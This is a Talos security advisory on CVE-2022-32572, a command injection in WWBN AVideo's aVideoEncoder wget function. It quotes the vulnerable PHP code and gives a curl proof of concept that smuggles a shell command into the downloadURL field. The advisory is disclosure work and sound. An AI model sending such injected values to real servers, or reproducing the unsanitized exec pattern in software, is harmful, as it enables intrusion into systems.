Talos Vulnerability Report

TALOS-2022-1548

WWBN AVideo aVideoEncoder wget OS command injection vulnerability

AUGUST 16, 2022

CVE NUMBER

CVE-2022-32572

SUMMARY

An os command injection vulnerability exists in the aVideoEncoder wget functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A specially-crafted HTTP request can lead to arbitrary command execution. An attacker can send an HTTP request to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

WWBN AVideo 11.6
WWBN AVideo dev master commit 3f7c0364

PRODUCT URLS

AVideo - https://github.com/WWBN/AVideo

CVSSV3 SCORE

9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

DETAILS

AVideo is a web application, mostly written in PHP, that can be used to create an audio/video sharing website. It allows users to import videos from various sources, encode and share them in various ways. Users can sign up to the website in order to share videos, while viewers have anonymous access to the publicly-available contents. The platform provides plugins for features like live streaming, skins, YouTube uploads and more.

The `objects/aVideoEncoder.json.php` file can be used to add new videos. This functionality does not need special configuration to be used. However, the user performing the request needs permission to upload videos.

When adding a new video, a `downloadURL` can be specified, so that AVideo fetches the url content and adds it as a video.

```
...
useVideoHashOrLogin();
if (!User::canUpload()) { // [1]
    _error_log("aVideoEncoder.json: Permission denied to receive a file: " .
json_encode($_REQUEST));
    $obj->msg = __("Permission denied to receive a file: ") . json_encode($_POST);
    _error_log($obj->msg);
    die(json_encode($obj));
}

...
if (!empty($_FILES)) {
    _error_log("aVideoEncoder.json: Files " . json_encode($_FILES));
} else {
    _error_log("aVideoEncoder.json: Files EMPTY");
    if (!empty($_REQUEST['downloadURL'])) {
        $_FILES['video']['tmp_name'] =
downloadVideoFromDownloadURL($_REQUEST['downloadURL']); // [2]
        if (empty($_FILES['video']['tmp_name'])) {
            _error_log("aVideoEncoder.json: ********  Download ERROR " .
$_REQUEST['downloadURL']);
        }
    }
}
...
function downloadVideoFromDownloadURL($downloadURL)
{
    global $global;
    _error_log("aVideoEncoder.json: Try to download " . $downloadURL);
    $file = url_get_contents($_POST['downloadURL']); // [3]
    ...
```

At [1], the code makes sure that the user can upload videos.
At [2], `downloadVideoFromDownloadURL` is called, which eventually calls `url_get_contents` [3] passing the `downloadURL` sent via POST.

```
function url_get_contents($url, $ctx = "", $timeout = 0, $debug = false) {
    ...
    if (ini_get('allow_url_fopen')) { // [4]
        if ($debug) {
            _error_log("url_get_contents: allow_url_fopen {$url}");
        }
        try {
            $tmp = @file_get_contents($url, false, $context); // [5]
            if ($tmp !== false) {
                $response = remove_utf8_bom($tmp);
                if ($debug) {
                    //_error_log("url_get_contents: SUCCESS file_get_contents($url)
{$response}");
                    _error_log("url_get_contents: SUCCESS file_get_contents($url)");
                }
                return $response;
            }
            if ($debug) {
                _error_log("url_get_contents: ERROR file_get_contents($url) ");
            }
        } catch (ErrorException $e) {
            if ($debug) {
                _error_log("url_get_contents: allow_url_fopen ERROR " . $e-
>getMessage() . "  {$url}");
            }
            return "url_get_contents: " . $e->getMessage();
        }
    } elseif (function_exists('curl_init')) {
        ...
    }
    if ($debug) {
        _error_log("url_get_contents: Nothing yet  {$url}");
    }

    // try wget
    ...
    if (wget($url, $filename, $debug)) { // [6]
        ...
```

At [4] the code checks if `allow_url_fopen` is set; this is `true` in default PHP configurations. So the code calls `file_get_contents` at [5]. If this fails (for example if the URL is malformed) no exception will be thrown (despite the try/catch block) and the code will attempt to retrieve the `$url` via `wget` at [6].

```
function wget($url, $filename, $debug = false) {
    if (empty($url) || $url == "php://input" || !preg_match("/^http/", $url)) { //
[7]
        return false;
    }
    ...
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { // [8]
        ...
    }
    $cmd = "wget --tries=1 {$url} -O {$filename} --no-check-certificate"; // [9]
    if ($debug) {
        _error_log("wget Start ({$cmd}) ");
    }
    //echo $cmd;
    exec($cmd); // [10]
    wgetRemoveLock($url);
    ...
```

At [7] the code checks that `$url` begins with “http”. At [8], if the operating system is Windows, a different path is taken, so this advisory likely won’t concern Windows (untested). At [9], a command is built using the unsanitized `$url` parameter (this is taken directly from `$_POST['downloadURL']`) and executed at [10], leading to a straightforward command injection.

Exploit Proof of Concept

This proof-of-concept executes `sleep 2` and will make the request sleep for about 2 seconds, indicating arbitrary command execution:

```
$ time curl -k $'https://192.168.1.200/objects/aVideoEncoder.json.php' \
    -H 'Cookie: 84b11d010cced71edffee7aa62c4eda0=ia8sm01gdn8kar80bp0q5bsp9l' \
    --data-raw $'format=mp4&downloadURL=http;sleep 2;#'
```

VENDOR RESPONSE

Vendor confirms issues fixed on July 7th 2022

TIMELINE

2022-06-29 - Initial Vendor Contact

2022-07-05 - Vendor Disclosure

2022-07-07 - Vendor Patch Release

2022-08-16 - Public Release

CREDIT

Discovered by Claudio Bozzato of Cisco Talos.
